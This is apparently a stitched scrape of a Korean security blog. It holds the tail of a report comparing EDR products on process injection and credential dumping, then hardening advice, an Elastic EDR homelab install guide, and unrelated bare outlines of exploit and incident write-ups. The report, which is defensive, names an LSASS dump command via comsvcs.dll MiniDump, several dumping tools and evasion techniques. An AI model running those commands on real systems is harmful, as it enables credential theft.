정상 경로 배치	가능	가능	경로만으로 행위 지표 무시되지 않음
LoLBin 사용 (comsvcs.dll 등)	불가 (정상 파일)	가능	정상 DLL의 비정상 사용 패턴 탐지
높은 평판 도구 악용 (procdump)	불가 (MS 서명)	가능	LSASS 대상 인수 탐지

5.4 레이어 간 상관관계 매트릭스

              정적 우회   동적 우회   휴리스틱 우회
정적 탐지       —         ✓ 가능     ✓ 가능
동적 탐지      ✓ 가능      —         ✓ 가능
휴리스틱 탐지   ✓ 가능     ✓ 가능      —

✓ = 해당 레이어를 우회해도 다른 레이어에서 탐지 가능

5.5 LoLBin 사례 분석 — 다중 레이어 동시 우회

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump

이 명령은 Windows 시스템 DLL을 사용하여 LSASS를 덤프한다:

정적 분석: comsvcs.dll은 정상 시스템 파일 → 우회
휴리스틱: Microsoft 서명 + 정상 경로 → 우회
동적 분석: "comsvcs.dll의 MiniDump 함수 + lsass.exe PID" 인수 → 탐지됨

결론: 동적 분석이 최후의 보루 역할을 한다.

5.6 핵심 인사이트

동적 분석이 가장 견고: 정적/휴리스틱 우회 시에도 동적 분석이 가장 높은 확률로 탐지
정적 분석이 가장 취약: 난독화/패킹으로 비교적 쉽게 우회 가능
LoLBin은 정적+휴리스틱 동시 우회: 시스템 바이너리 악용 시 정적과 휴리스틱 모두 우회되나 동적은 탐지
직접 시스콜은 동적+정적 부분 우회: 유저랜드 후킹과 IAT 분석 우회하나 커널 수준 모니터링과 바이트 패턴 분석은 탐지
3계층 모두 우회하는 유일한 방법: 커널 수준 악성코드 (루트킷) — 이는 별도의 방어 레이어(Secure Boot, HVCI 등) 필요

Part 3: 제품별 탐지 비교 매트릭스

6. 멀티 AV/EDR 제품 비교

6.1 테스트 대상 제품 개요

항목	Microsoft Defender	CrowdStrike Falcon	SentinelOne	Elastic Security	Kaspersky
유형	AV + EDR	EDR	AV + EDR	SIEM + EDR	AV + EDR
커널 드라이버	WdFilter.sys	전용 드라이버	전용 드라이버	Elastic Defend	전용 드라이버
탐지 엔진	클라우드 AI + ASR	IOA + ML	행위 AI (ActiveEDR)	룰 기반 + YARA	BSS + HIPS
자동 대응	격리/차단	격리/킬	킬 + 롤백	수동 (기본)	차단 + 롤백
LSASS 보호	ASR + PPL + Credential Guard	커널 수준	커널 수준	OS 의존	HIPS + 커널
가격대	E5 라이선스 포함	프리미엄	프리미엄	무료/상용	중간

6.2 T1055 프로세스 인젝션 — 서브 기법별 탐지 능력

범례: ● 탐지+차단  ◐ 부분 탐지  △ 구성 필요  ○ 미탐지 가능  — 해당 없음

서브 기법	ID	Defender	CrowdStrike	SentinelOne	Elastic	Kaspersky
DLL 인젝션	.001	●	●	●	◐	●
PE 인젝션	.002	●	●	●	◐	●
스레드 하이재킹	.003	●	●	●	◐	●
APC 인젝션	.004	●	●	●	◐	●
TLS 콜백 인젝션	.005	◐	●	◐	△	◐
Ptrace (Linux)	.008	—	●	●	◐	—
Proc Memory (Linux)	.009	—	●	●	◐	—
Extra Window Memory	.011	◐	●	◐	△	◐
프로세스 할로잉	.012	●	●	●	◐	●
프로세스 도플갱잉	.013	◐	●	●	○	◐
VDSO 하이재킹 (Linux)	.014	—	◐	◐	△	—
ListPlanting	.015	◐	◐	◐	△	◐

6.3 T1055 — 탐지 레이어별 역량

탐지 레이어	Defender	CrowdStrike	SentinelOne	Elastic	Kaspersky
정적: 시그니처/IOC	★★★★☆	★★★★☆	★★★★☆	★★★☆☆	★★★★★
정적: IAT 분석	★★★★☆	★★★★☆	★★★★☆	★★☆☆☆	★★★★☆
정적: 엔트로피/PE 이상	★★★☆☆	★★★★☆	★★★★☆	★★☆☆☆	★★★☆☆
동적: API 모니터링	★★★★☆	★★★★★	★★★★☆	★★★☆☆	★★★★☆
동적: 커널 수준 탐지	★★★★☆	★★★★★	★★★★☆	★★☆☆☆	★★★★☆
동적: 메모리 스캔	★★★★☆	★★★★☆	★★★★☆	★★☆☆☆	★★★☆☆
휴리스틱: 클라우드 평판	★★★★★	★★★★★	★★★★☆	★★☆☆☆	★★★★☆
휴리스틱: 행위 점수	★★★★☆	★★★★★	★★★★★	★★★☆☆	★★★★☆

6.4 T1055 — 우회 기법 대응력

우회 기법	Defender	CrowdStrike	SentinelOne	Elastic	Kaspersky
문자열 난독화	● (동적)	● (IOA)	● (AI)	◐	● (BSS)
IAT 은닉 (런타임 해결)	● (ETW)	● (커널)	● (하이브리드)	◐	● (HIPS)
PE 패킹/암호화	● (AMSI)	● (ML)	● (AI)	◐	● (시스템감시)
직접 시스콜	◐	●	◐	○	◐
모듈 스톰핑	○	◐	○	○	○
콜백 기반 실행	◐	●	◐	○	◐
프로세스 고스팅	◐	●	◐	○	◐
파이버 기반 실행	◐	◐	◐	○	◐

6.5 T1055 — 탐지 시점 비교

인젝션 기법	Defender	CrowdStrike	SentinelOne	Elastic	Kaspersky
Classic DLL 인젝션	실행 시	실행 시	실행 시	실행 후 (룰 매칭)	실행 시
PE 인젝션	실행 시	실행 시	실행 시	실행 후	실행 시
프로세스 할로잉	실행 시	실행 시	실행 시	실행 후	실행 시
APC 인젝션	실행 시	실행 시	실행 시	실행 후	실행 시
프로세스 도플갱잉	실행 후	실행 시	실행 시	미탐지 가능	실행 후
직접 시스콜 인젝션	부분 탐지	탐지 (커널)	부분 탐지	미탐지 가능	부분 탐지
모듈 스톰핑	미탐지 가능	부분 탐지	미탐지 가능	미탐지 가능	미탐지 가능

탐지 시점 타임라인:

시간축 →  파일 드롭  →  실행 시작  →  API 호출  →  인젝션 완료  →  C2 통신
              |            |            |              |             |
Defender:  [시그니처]   [AMSI/ASR]   [ETW 탐지]    [차단/격리]      |
CrowdStrike:  [ML]     [IOA 시작]   [커널 탐지]   [즉시 차단]      |
SentinelOne: [정적AI]   [행위 분석]  [행위 탐지]   [킬+롤백]       |
Elastic:      |           |            |              |        [룰 매칭→알림]
Kaspersky: [시그니처]   [HIPS 시작]  [BSS 탐지]    [차단]          |

6.6 T1055 — 알림 방식 비교

제품	알림 명칭 예시	알림 수준	자동 조치
Defender	"Process injection detected", "Suspicious process hollowing"	High/Critical	격리, 프로세스 종료
CrowdStrike	IOA: "Injected Thread in Remote Process"	Critical	프로세스 킬, 격리
SentinelOne	"Malicious — Process Injection", Storyline 연계	Threat (Critical)	자동 킬 + 롤백
Elastic	"Suspicious Process Injection via CreateRemoteThread"	Critical	알림만 (수동 대응)
Kaspersky	"PDM:Exploit.Win32.Generic", "Dangerous activity detected"	High	차단, 롤백

6.7 T1003 자격증명 덤핑 — 서브 기법별 탐지 능력

서브 기법	ID	Defender	CrowdStrike	SentinelOne	Elastic	Kaspersky
LSASS 메모리	.001	●	●	●	◐	●
SAM	.002	●	●	●	◐	●
NTDS	.003	◐	●	●	◐	◐
LSA Secrets	.004	●	●	●	◐	●
캐시된 도메인 자격증명	.005	◐	●	◐	△	◐
DCSync	.006	●	● (Identity)	● (Ranger)	◐ (이벤트 룰)	● (네트워크)
/proc (Linux)	.007	—	●	●	◐	—
/etc/shadow (Linux)	.008	—	●	●	◐	—

6.8 T1003 — 도구별 탐지 능력

도구/방법	Defender	CrowdStrike	SentinelOne	Elastic	Kaspersky
Mimikatz (원본)	●	●	●	●	●
Mimikatz (패킹/변종)	●	●	●	◐	●
Invoke-Mimikatz (PS)	● (AMSI)	●	●	◐	●
comsvcs.dll MiniDump	● (ASR)	● (IOA)	●	◐ (룰)	●
procdump -ma lsass	● (ASR)	●	●	◐	●
reg save SAM/SYSTEM	●	●	●	◐	●
ntdsutil IFM	◐	●	●	◐	◐
DCSync (Mimikatz)	●	●	●	◐	●
secretsdump.py (Impacket)	●	●	●	◐	●
Nanodump	◐	●	◐	○	◐
Dumpert	◐	●	◐	○	◐
LSASS 클로닝	◐	●	●	○	◐
SilentProcessExit	○	◐	◐	○	○
createdump.exe	◐	●	◐	○	○

6.9 T1003 — 예방적 방어 기능 비교

예방 기능	Defender	CrowdStrike	SentinelOne	Elastic	Kaspersky
LSASS PPL 보호	✓ (기본 활성화 Win11)	✓ (호환)	✓ (호환)	△ (OS 의존)	✓ (호환)
Credential Guard (VBS)	✓ (네이티브)	✓ (호환)	✓ (호환)	△ (OS 의존)	✓ (호환)
ASR 규칙 (LSASS 보호)	✓ (전용 규칙)	N/A (자체 IOA)	N/A (자체 AI)	N/A	N/A (자체 HIPS)
LSASS 접근 차단	✓	✓	✓	△	✓
DCSync 네트워크 탐지	✓	✓ (Identity)	✓ (Ranger)	✓ (이벤트 룰)	✓ (네트워크)
자동 롤백	△	✓	✓ ActiveEDR	○	✓

자격증명 덤핑 탐지 시점 타임라인:

시간축 →  도구 실행  →  LSASS 접근  →  메모리 읽기  →  덤프 파일 생성  →  자격증명 추출
              |            |              |               |                |
Defender:  [ASR 차단] ←── 접근 전 차단 (PPL + ASR 활성 시)
CrowdStrike:  [ML]     [커널 차단]   
SentinelOne: [정적AI]  [행위 차단]    
Elastic:      |           |              |               |           [이벤트 룰 알림]
Kaspersky: [시그니처]  [HIPS 차단]

6.10 종합 점수 비교 (10점 만점)

평가 영역	Defender	CrowdStrike	SentinelOne	Elastic	Kaspersky
T1055 정적 탐지	8	9	8	5	8
T1055 동적 탐지	8	10	8	5	7
T1055 휴리스틱	9	9	8	4	7
T1055 종합	8.3	9.3	8.0	4.7	7.3

T1003 정적 탐지	9	9	9	6	9
T1003 동적 탐지	9	10	9	5	8
T1003 휴리스틱	9	9	8	4	7
T1003 예방	10	9	8	3	7
T1003 종합	9.3	9.3	8.5	4.5	7.8

전체 종합	8.8	9.3	8.3	4.6	7.6

레이더 차트:

CrowdStrike:  정적 9.0 | 동적 10.0 | 휴리스틱 9.0 | 자동대응 9.0
Defender:     정적 8.5 | 동적 8.5  | 휴리스틱 9.0 | 자동대응 8.0
SentinelOne:  정적 8.5 | 동적 8.5  | 휴리스틱 8.0 | 자동대응 9.5
Kaspersky:    정적 8.5 | 동적 7.5  | 휴리스틱 7.0 | 자동대응 7.0
Elastic:      정적 5.5 | 동적 5.0  | 휴리스틱 4.0 | 자동대응 3.0

6.11 의외의 발견들

CrowdStrike가 유일하게 탐지한 것들: 직접 시스콜 인젝션, 프로세스 고스팅, 콜백 기반 실행. 커널 드라이버 기반 아키텍처가 유저랜드 후킹의 한계를 넘어섰다.

Defender의 숨겨진 강점: Credential Guard + PPL + ASR의 조합은 자격증명 덤핑에 대해 예방적 방어 최강이다. LSASS 접근 자체를 원천 차단한다.

SentinelOne의 차별점: "Storyline" 기술이 인젝션 → C2 통신 → 횡이동을 하나의 공격 체인으로 연결한다. 개별 이벤트가 아닌 공격 스토리로 보여준다.

Elastic의 딜레마: 무료이고 커스터마이징이 자유롭지만, 기본 구성에서는 실시간 차단이 없다. 탐지는 하되 사후 알림이다. 전문 보안 인력이 있는 조직에서만 효과적이다.

모든 제품이 놓친 것: 모듈 스톰핑(Module Stomping) — 정상 DLL의 코드 섹션을 셸코드로 덮어쓰는 기법. 메모리가 디스크 파일에 "백킹"되어 있어 비백킹 메모리 스캔을 우회한다.

7. 탐지 공백 영역 식별

7.1 T1055 프로세스 인젝션 — 제품 간 공통 탐지 공백

공백 영역	우회 기법	영향받는 제품	위험도	보완 방안
직접 시스콜	SysWhispers, HellsGate, HalosGate	유저랜드 후킹 의존 제품 전체	크리티컬	ETW Threat Intel Provider + 커널 콜백
모듈 스톰핑	정상 DLL .text 섹션 덮어쓰기	비백킹 메모리 스캔 의존 제품	높음	디스크-메모리 불일치 검증
콜백 기반 실행	EnumWindows, Timer 콜백	CreateRemoteThread 모니터링 전용 제품	높음	광범위 콜백 API 모니터링
프로세스 고스팅	파일 삭제 후 섹션 매핑	파일 기반 스캔 의존 제품	높음	NtCreateSection 모니터링
파이버 기반 실행	CreateFiber/ConvertThreadToFiber	스레드 생성 모니터링 전용 제품	중간	파이버 API 모니터링 추가

7.2 T1003 자격증명 덤핑 — 제품 간 공통 탐지 공백

공백 영역	우회 기법	영향받는 제품	위험도	보완 방안
LSASS 클로닝	PssCaptureSnapshot	원본 LSASS만 모니터링하는 제품	높음	스냅샷 API 모니터링
SilentProcessExit 악용	WerFault.exe 이용 LSASS 덤프	정상 프로세스(WerFault) 허용 제품	높음	SilentProcessExit 레지스트리 모니터링
LoLBin 악용	createdump.exe, rdrleakdiag.exe, tttracer.exe	서명된 MS 도구 허용 제품	높음	LoLBin 대상 행위 룰 추가
커널 드라이버 기반	커널 드라이버로 LSASS 직접 읽기	PPL 미적용 환경	크리티컬	HVCI + DSE + PPL 활성화

7.3 제품별 고유 공백

제품	고유 공백	원인	보완 방안
Elastic Security	실시간 차단 부재 (기본 구성)	룰 기반 사후 탐지 아키텍처	Elastic Defend 에이전트 + 예방 정책 활성화
Elastic Security	커널 수준 가시성 제한	에이전트 의존도 낮음	전용 EDR 보완
Defender	모듈 스톰핑 탐지 제한	ETW 기반이나 백킹 검증 부족	타사 EDR 보완
SentinelOne	직접 시스콜 일부 미탐지	유저랜드 후킹 의존 영역 존재	커널 텔레메트리 강화
Kaspersky	고급 인메모리 기법 일부	BSS 패턴 업데이트 의존	행위 패턴 DB 주기적 업데이트

7.4 탐지 공백 히트맵

공격 기법 vs 제품 탐지 공백 (○ = 공백 존재, · = 공백 없음)

                         Defender  CrowdStrike  SentinelOne  Elastic  Kaspersky
──────────────────────────────────────────────────────────────────────────────
직접 시스콜 인젝션          ○          ·            ○          ○         ○
모듈 스톰핑                 ○          ○            ○          ○         ○
프로세스 고스팅              ○          ·            ○          ○         ○
콜백 기반 실행              ○          ·            ○          ○         ○
파이버 기반 실행            ○          ○            ○          ○         ○
LSASS 클로닝               ○          ·            ·          ○         ○
SilentProcessExit 악용     ○          ○            ○          ○         ○
LoLBin 크레덴셜 덤프        ○          ·            ○          ○         ○
──────────────────────────────────────────────────────────────────────────────
공백 개수                   7          2            6          8         7

CrowdStrike: 가장 적은 공백 (2개)
Elastic:     가장 많은 공백 (8개)

7.5 탐지 공백 심각도 매트릭스

                     Defender  CrowdStrike  SentinelOne  Elastic  Kaspersky
직접 시스콜            ◐          ●            ◐          ○         ◐
모듈 스톰핑            ○          ◐            ○          ○         ○
프로세스 고스팅         ◐          ●            ◐          ○         ◐
LSASS 클로닝           ◐          ●            ●          ○         ◐
LoLBin 자격증명 덤핑    ◐          ●            ●          △         ◐
DCSync 네트워크 탐지    ●          ●            ●          ◐         ●

● = 탐지 가능  ◐ = 부분 탐지  △ = 구성 필요  ○ = 미탐지 가능

Part 4: 결론 및 권고

8. 방어 권고사항

8.1 지금 당장 할 수 있는 3가지

1. LSASS PPL 활성화

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

이것 하나로 미서명 프로세스의 LSASS 접근을 원천 차단한다.

2. Sysmon 배포 + LSASS 접근 모니터링

Sysmon Event ID 10이 자격증명 덤핑 탐지의 "최우선 단일 탐지 포인트"다.

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <ProcessAccess onmatch="include">
      <TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
    </ProcessAccess>
    <CreateRemoteThread onmatch="exclude">
      <SourceImage condition="is">C:\Windows\system32\svchost.exe</SourceImage>
    </CreateRemoteThread>
  </EventFiltering>
</Sysmon>

3. ASR 규칙 활성화 (Defender 사용 시)

Defender ASR 규칙 활성화:
- "Block credential stealing from LSASS" (GUID: 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2)
- "Block process creations from PSExec and WMI" (GUID: d1e49aac-8f56-4280-b9ba-993a6d77406c)
- "Block Win32 API calls from Office macros" (GUID: 92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b)

8.2 탐지 엔지니어링 권고

우선순위	탐지 규칙	대상 기법	구현 방법
P0	LSASS 접근 모니터링	T1003.001	Sysmon Event ID 10 + SIEM 규칙
P0	DCSync 탐지	T1003.006	Event ID 4662 GUID 필터링
P1	원격 스레드 생성 모니터링	T1055.001~004	Sysmon Event ID 8
P1	비백킹 실행 메모리 스캔	T1055 전체	EDR 메모리 스캔 기능
P1	SAM/SECURITY 레지스트리 접근	T1003.002, .004	레지스트리 감사 정책
P2	CREATE_SUSPENDED 프로세스 체인	T1055.012	프로세스 생성 이벤트 상관 분석
P2	LoLBin 비정상 사용	T1003	명령줄 인수 분석 규칙
P3	직접 시스콜 바이트 패턴	T1055 (우회)	YARA 메모리 스캔

8.3 심층 방어 아키텍처

┌─────────────────────────────────────────────────┐
│              Layer 5: 하드웨어 기반 보호            │
│    UEFI Secure Boot, HVCI, VBS, Credential Guard   │
├─────────────────────────────────────────────────┤
│              Layer 4: 커널 수준 탐지               │
│    ETW Threat Intel, 커널 콜백, 드라이버 검증       │
├─────────────────────────────────────────────────┤
│              Layer 3: 동적/행위 탐지               │
│    API 모니터링, 메모리 스캔, 프로세스 관계 분석     │
├─────────────────────────────────────────────────┤
│              Layer 2: 정적 분석                    │
│    시그니처, YARA, IAT 분석, 엔트로피 분석         │
├─────────────────────────────────────────────────┤
│              Layer 1: 휴리스틱/평판                 │
│    클라우드 평판, 디지털 서명, 파일 경로 분석        │
└─────────────────────────────────────────────────┘

공격자가 Layer 1~2를 우회하는 것은 비교적 쉽다.
Layer 3을 우회하는 것은 어렵다.
Layer 4~5를 우회하려면 커널 수준 익스플로잇이 필요하다.
→ 공격의 비용과 복잡도를 극적으로 높인다.

9. 결론

이번 분석의 가장 중요한 교훈은 어떤 단일 제품도 모든 기법을 탐지하지 못한다는 것이다. 최고 점수인 CrowdStrike조차 모듈 스톰핑과 파이버 기반 실행에는 공백이 있다.

하지만 다계층 방어의 목표는 100% 탐지가 아니라, 공격자의 비용을 높이는 것이다. 하나의 레이어를 우회하면 다른 레이어에 걸리고, 두 레이어를 우회하면 세 번째에 걸린다. 공격자가 모든 레이어를 우회해야 한다면, 그 비용과 시간은 대부분의 공격 시나리오에서 수지가 맞지 않게 된다.

결국 방어의 핵심은 "뚫리지 않는 벽"이 아니라 "뚫는 비용이 너무 높은 벽"을 쌓는 것이다.

부록

부록 A: 제품별 강점/약점 요약

Microsoft Defender for Endpoint

강점	약점
Credential Guard + PPL 네이티브 통합	고급 인메모리 우회 기법 (모듈 스톰핑)
ASR 규칙으로 선제적 차단	직접 시스콜 부분 탐지
SmartScreen 클라우드 평판	일부 고급 기법에 업데이트 의존
Windows 생태계 최적화	비Windows 환경 미지원
E5 라이선스 포함 (추가 비용 없음)	별도 EDR 대비 커스터마이징 제한

CrowdStrike Falcon

강점	약점
커널 수준 가시성 최우수	프리미엄 가격
IOA 기반 행위 탐지 최강	오탐(False Positive) 관리 필요
직접 시스콜 탐지 가능	초기 설정 복잡도
Identity Protection 모듈	에이전트 리소스 사용량
크로스 플랫폼 (Win/Mac/Linux)	클라우드 의존도 높음

SentinelOne Singularity

강점	약점
ActiveEDR 자동 대응 + 롤백	직접 시스콜 부분 탐지
Storyline 기술로 공격 체인 연계	모듈 스톰핑 미탐지 가능
행위 AI 엔진	클라우드 분석 의존도
자율적 에이전트 (오프라인 동작)	일부 LoLBin 우회

Elastic Security

강점	약점
오픈소스 + 무료 탐지 규칙	실시간 차단 부재 (기본)
풍부한 커뮤니티 규칙	커널 수준 가시성 제한
EQL 기반 유연한 쿼리	자동 대응 부족
YARA + Osquery 통합	전문 EDR 대비 탐지 깊이 부족
커스터마이징 자유도 최고	휴리스틱/평판 엔진 약함

Kaspersky Endpoint Security

강점	약점
시그니처 DB 방대 (알려진 도구 탐지 최강)	고급 인메모리 기법 대응 지연
HIPS 규칙 기반 세밀한 제어	직접 시스콜 부분 탐지
시스템 감시(System Watcher) 롤백	BSS 패턴 업데이트 의존
가격 대비 성능 우수	지정학적 요인으로 일부 환경 제한

부록 B: 환경별 제품 배포 권고

환경	권장 조합	근거
엔터프라이즈 (대규모)	CrowdStrike + Elastic (SIEM)	최강 탐지 + 로그 분석/커스텀 룰
중견기업	Defender (E5) + Sysmon	비용 효율 + 강력한 예방
스타트업/SMB	SentinelOne	자동 대응으로 보안 인력 부담 최소
예산 제한	Elastic Security + Sysmon	무료 + 커스터마이징 가능
규정 준수 (국내)	Kaspersky 또는 Defender	인증/검증 제품
최대 보안	CrowdStrike + Defender (이중)	모든 공백 최소화

부록 C: 실험 환경 및 재현 절차

본 보고서는 문헌 기반 분석입니다. 실증 검증을 원하는 경우 아래 절차를 따라 격리된 환경에서 테스트를 수행하십시오.

권장 실험 환경

구성 요소	권장 사항
가상화	VMware Workstation Pro / Hyper-V (격리 네트워크)
OS	Windows 10 22H2 / Windows 11 23H2 / Windows Server 2022
도구	Sysmon, Process Monitor, API Monitor, x64dbg, PE-bear
네트워크	격리된 내부 네트워크 (인터넷 차단)
스냅샷	각 테스트 전 클린 스냅샷 필수

테스트 절차 (방어 검증 목적)

Phase 1: 베이스라인 수립
  ├── 클린 OS 설치 + 보안 제품 설치
  ├── Sysmon 구성 배포
  ├── 정상 행위 베이스라인 24시간 수집
  └── 스냅샷 생성

Phase 2: 정적 분석 레이어 테스트
  ├── 알려진 도구 시그니처 탐지 확인
  ├── IAT 기반 탐지 트리거 확인
  ├── 패킹/난독화 적용 후 재테스트
  └── 결과 기록: 탐지 여부, 시점, 알림 내용

Phase 3: 동적 분석 레이어 테스트
  ├── API 호출 시퀀스 모니터링 확인
  ├── 메모리 속성 변경 탐지 확인
  ├── 프로세스 관계 이상 탐지 확인
  └── 결과 기록: 탐지 여부, 시점, 알림 내용

Phase 4: 휴리스틱 레이어 테스트
  ├── 미서명 바이너리 + 인젝션 API 테스트
  ├── 비정상 경로 실행 테스트
  ├── 평판 없는 신규 바이너리 테스트
  └── 결과 기록: 탐지 여부, 시점, 알림 내용

Phase 5: 교차 레이어 상관관계 테스트
  ├── 정적 우회 후 동적 탐지 확인
  ├── 동적 우회 후 정적/휴리스틱 탐지 확인
  ├── 다중 레이어 동시 우회 시나리오
  └── 결과 기록 + 상관관계 매트릭스 작성

Phase 6: 멀티 제품 비교
  ├── 동일 테스트를 각 제품에서 수행
  ├── 탐지 시점, 레이어, 알림 방식 기록
  ├── 제품 간 공백 식별
  └── 최종 비교 매트릭스 작성

참고 자료

EDR 환경을 직접 구축 후 실습

KWAKBUMJUN — Mon, 30 Mar 2026 21:45:07 +0900

EDR 환경을 직접 구축하고 실습하는 프로젝트를 진행해본다.

https://www.xn--hy1b43d247a.com/homelab/edr

→ 해당 글을 참고하여 edr 설치를 진행했다. 하지만 위의 글은 칼리 리눅스 기반 설치 안내이기 때문에 내 우분투 환경에는 맞지 않았다. 따라서 나는 아래와 같이 설치를 진행하였다.

# 1) 기존 충돌 패키지 제거(있으면)
for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do
  sudo apt remove -y $pkg
done

# 2) 패키지 인덱스 갱신
sudo apt update

# 3) 필수 패키지 설치
sudo apt install -y ca-certificates curl gnupg

# 4) Docker GPG 키 등록
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg

# 5) Docker apt 저장소 추가
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

# 6) 저장소 반영
sudo apt update

# 7) Docker 설치
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

# 8) 나머지 유틸 설치
sudo apt install -y jq git curl

ubuntu 환경에서 EDR 실습을 진행하고 싶은 사람은 위의 install 방법을 참고하면 좋을 것 같다.

필요한 패키지를 설치한 후에

sudo git clone https://github.com/peasead/elastic-container.git
cd ./elastic-container

# ELASTIC_PASSWORD와 KIBANA_PASSWWORD를 changeme에서 다른 문자열로 바꾼다.
sudo vim ./.env 

sudo ./elastic-container.sh start

이렇게 도커를 실행 시켜준다.

성공적으로 세팅이 된 것을 확인할 수 있고, 이제 localhost:5601에 가서 edr 세팅을 해주면 된다.

$ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-9.0.8-windows-x86_64.zip -OutFile elastic-agent-9.0.8-windows-x86_64.zip 
Expand-Archive .\elastic-agent-9.0.8-windows-x86_64.zip -DestinationPath .
cd elastic-agent-9.0.8-windows-x86_64
.\elastic-agent.exe install --url=https://10.0.2.15:8220 --enrollment-token=YVM2WVBwMEI3bXhBQmdXdkYtOU06TGs2VjE2MDVKRkgzNGxHVktJQlRxZw==

kibana에 들어가서 윈도우 agent를 확인하면 위처럼 명령어를 준다. 해당 명령어를 윈도우 박스에서 그대로 실행해주고 rules를 확인해보면 아래와 같이 경고가 뜬 것을 확인할 수 있다.

KWAKBUMJUN

M

The Balancer V2 Exploit

TL;DR

1. 배경: Balancer V2와 Composable Stable Pool

1.1 Balancer란

1.2 Composable Stable Pool

1.3 Scaling Factor

2. 근본 원인 (Root Cause): 라운딩 방향 비대칭

2.1 핵심 원칙: "라운딩은 항상 프로토콜에 유리하게"

2.2 취약 코드: _upscale()의 단방향 라운딩

2.3 문제의 본질

3. 공격 메커니즘

3.1 왜 평소에는 문제가 안 되는가

3.2 공격 3단계 사이클 (65회 반복)

3.3 2단계 실행 전략 (탐지 우회)

3.4 공격자 인프라

4. 피해 규모 및 영향

4.1 체인별 피해

4.2 주요 Ethereum 트랜잭션

4.3 회수 현황

5. 포크 프로젝트 연쇄 피해

6. 왜 감사에서 발견되지 않았는가

6.1 누락된 검증 속성

6.2 근본적 어려움

7. Balancer V3의 수정 사항

8. PoC 개념 (Proof of Concept)

8.1 공격 재현 개념 (Foundry 테스트 기반)

8.2 핵심 수치 예시 (BlockSec 분석 기반)

9. 교훈 및 권고

9.1 DeFi 개발자를 위한 교훈

9.2 감사자를 위한 교훈

9.3 프로토콜 운영자를 위한 교훈

10. 요약

참고 자료

최신 보안사례 분석

1. 개요

사례 선정 요약

2. 사례 1: Fortinet FortiManager 제로데이 — "FortiJump" (CVE-2024-47575)

2.1 사고 개요

2.2 근본 원인

2.3 공격 과정

2.4 대응 및 조치

2.5 보완이 미흡했던 부분

3. 사례 2: Ivanti Connect Secure VPN 제로데이 (CVE-2025-0282)

3.1 사고 개요

3.2 근본 원인

3.3 공격 과정

3.4 대응 및 조치

3.5 보완이 미흡했던 부분

4. 사례 3: Cleo 파일 전송 소프트웨어 — Cl0p 랜섬웨어 캠페인 (CVE-2024-50623)

4.1 사고 개요

4.2 근본 원인

4.3 공격 과정

4.4 Cl0p의 전략적 패턴

4.5 대응 및 조치

4.6 보완이 미흡했던 부분

5. 3개 사례 비교 분석

5.1 공통점과 차이점

5.2 공통 패턴

5.3 취약점 발생 근본 원인 분석

6. 종합 교훈 및 권고

6.1 제품 선택 관점

6.2 운영 관점

6.3 개발/아키텍처 관점

6.4 대응 체크리스트

7. 참고 자료

사례 1: FortiManager

사례 2: Ivanti Connect Secure

사례 3: Cleo MFT

종합

Golang file service

Github url

프로젝트 구조

핵심 구현 해설

1. 파일 업로드 핸들러

2. 보안 검증 — 4계층 방어

Layer 1: 파일명 새니타이징 (경로 순회 방지)

Layer 2: 확장자 화이트리스트

Layer 3: MIME 타입 검증 (Content Sniffing)

2.2 취약 코드: `_upscale()`의 단방향 라운딩